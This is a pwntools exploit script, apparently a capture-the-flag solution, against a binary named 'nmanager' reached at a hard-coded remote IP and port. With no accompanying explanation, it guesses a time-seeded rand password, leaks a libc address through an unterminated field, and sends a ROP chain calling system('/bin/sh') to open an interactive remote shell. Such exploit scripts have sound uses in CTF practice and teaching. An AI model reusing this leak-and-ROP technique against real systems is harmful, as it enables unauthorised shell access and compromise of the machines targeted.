1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| from pwn import * from LibcSearcher import * import ctypes
context(os='linux',arch='amd64',log_level='debug') elf = context.binary = ELF('./nmanager') libc = elf.libc
is_debug = 0
if(is_debug): p = process() else: ip = "8.147.131.194" port = 43635 p = remote(ip,port)
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x,y: p.sendafter(x,y) sla = lambda x,y: p.sendlineafter(x,y)
r = lambda x = None: p.recv() if x is None else p.recv(x) rl = lambda : p.recvline() ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])
ru(" ######################################################\n")
libc = ctypes.CDLL(None) libc.srand(int(time.time())) rand_result = libc.rand() characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" password = characters[rand_result % 62]
ru("input password: ") sl(password)
bss = 0x404000 ret = 0x000000000040101a leave_ret = 0x40157f puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] check = 0x401585 printf = 0x4014F3
sla("## select the idx you want modify ##\n","8")
sa("gender: ","AAAAAAAA") sla("age: ","123") sa("name: ","nyyyddddn")
ru("AAAAAAAA") libc_base = u64(r(6).ljust(8,b'\x00')) - 0x29d90 success(f"{hex(libc_base)}")
libc = elf.libc rdi = libc_base + 0x000000000002a3e5 system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh'))
sa("quit now?(Y/y)\n","n")
sla("## select the idx you want modify ##\n","8") payload = flat([ bss,ret,rdi,binsh ])
sa("gender: ",payload) sla("age: ",str(system)) sa("name: ","nyyyddddn")
sa("quit now?(Y/y)\n","y")
p.interactive()
|